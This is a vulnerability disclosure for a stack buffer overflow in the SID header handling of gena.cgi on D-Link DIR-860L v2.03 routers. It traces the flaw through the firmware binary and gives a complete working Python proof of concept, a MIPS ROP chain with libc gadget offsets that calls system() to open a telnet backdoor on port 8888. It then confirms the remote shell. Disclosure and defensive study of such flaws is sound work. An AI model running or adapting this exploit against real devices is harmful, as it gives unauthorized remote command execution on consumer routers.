Vendor of the products: D-Link
Vendor's website: https://www.dlink.com
Reported by: Chen Xiao(2235254941@qq.com)
Affected products: D-Link DIR-860L Routers
Affected firmware version: v2.03
Firmware download address: D-Link
In the D-Link DIR-860L v2.03 series routers, there is a buffer overflow vulnerability due to the lack of length verification for the SID field in gena.cgi
. Attackers who successfully exploit this vulnerability can cause the remote target device to crash or execute arbitrary commands by sending a POST request to /gena.cgi
.
The function at address 0x41AA5C
in the /htdocs/cgibin
binary file does not check the length of the SID field in the sprintf
function, which poses a risk of stack overflow.
It is evident that injecting malicious data into a1
or v2
can lead to a buffer overflow, which can be exploited for vulnerabilities or cause a denial of service. Here, v2
refers to HTTP_SID
, which is controllable.
Through cross-referencing, it can be determined that the function at 0x41AA5C
is called within the genacgi_main
function.
Therefore, our request method must be UNSUBSCRIBE
.
In the /etc/services/HTTP/httpsvcs.php
file, it can be found that gena.cgi
is related to UPnP
services.
In the upnpsetup
function within the /etc/services/HTTP/httpsvcs.php
file, it is observed that data can be sent to UPnP
via port 49152
.
Send the following POST request to UPnP
via port 49152
.
# python3
from pwn import *
from socket import *
from os import *
from time import *
context(os = 'linux', arch = 'mips')
libc_base = 0x2aabf000
s = socket(AF_INET, SOCK_STREAM)
cmd = b'telnetd -p 8888;'
payload = b'a'*437
payload += b'a'*4 # s0
payload += p32(libc_base + 0x398A4) # s1 move $a0, $s4 ... jalr $fp
payload += p32(libc_base + 0x56C20) # fp system
payload += p32(libc_base + 0x3B2B0) # ra addiu $s4, $sp, 0x28 ... jalr $s1
payload += b'a'*0x28 # padding
payload += cmd
msg = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r\n"
msg += b"Host: localhost:49152\r\n"
msg += b"SID: " + payload + b"\r\n\r\n"
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(msg)
sleep(1)
system("telnet 192.168.0.1 8888")
After booting up the firmware, the command echo 0 > /proc/sys/kernel/randomize_va_space
is used to disable Address Space Layout Randomization (ASLR).
Next, attempting to remotely log in to the firmware via telnet 192.168.0.1 8888
, the connection is refused.
After running the PoC script, a successful remote login to the firmware is achieved via telnet
.
After using the ps
command to check the processes, it is confirmed that the telnetd -p 8888
command has indeed been executed.